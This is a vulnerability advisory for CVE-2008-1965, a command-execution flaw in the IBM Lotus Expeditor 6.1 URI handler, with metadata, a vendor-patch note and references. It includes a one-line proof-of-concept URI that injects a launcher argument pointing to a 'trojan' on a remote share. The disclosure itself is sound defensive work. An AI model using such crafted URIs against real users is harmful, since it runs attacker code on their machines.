IBM Lotus Expeditor URI Handler Command Execution Vulnerability

Bugtraq ID:	28926
Class:	Input Validation Error
CVE:	CVE-2008-1965
Remote:	Yes
Local:	No
Published:	Apr 24 2008 12:00AM
Updated:	May 07 2015 05:29PM
Credit:	Thomas Pollet
Vulnerable:	IBM Lotus Expeditor Client 6.1
Not Vulnerable:

IBM Lotus Expeditor URI Handler Command Execution Vulnerability

IBM Lotus Expeditor is prone to a command-execution vulnerability because it fails to properly sanitize input.

Successfully exploiting this issue allows remote attackers to execute arbitrary commands in the context of users that follow malicious URIs.

We don't know which specific versions of IBM Lotus Expeditor are affected. We will update this BID as more information emerges.

IBM Lotus Expeditor URI Handler Command Execution Vulnerability

The following proof-of-concept URI demonstrates this vulnerability:

cai:"%20-launcher%20\\6.6.6.6\d$\trojan

IBM Lotus Expeditor URI Handler Command Execution Vulnerability

Solution:
A vendor patch is available. Please contact the vendor for details.

IBM Lotus Expeditor URI Handler Command Execution Vulnerability

References:

• [Full-disclosure] Lotus expeditor rcplauncher uri handler vulnerability (Thomas Pollet)
  
• Lotus Expeditor Product Page (IBM)
  
• Lotus expeditor rcplauncher uri handler vulnerability ("Thomas Pollet" )
  
• URL handler vulnerability affects Lotus Symphony and Lotus Expeditor (IBM)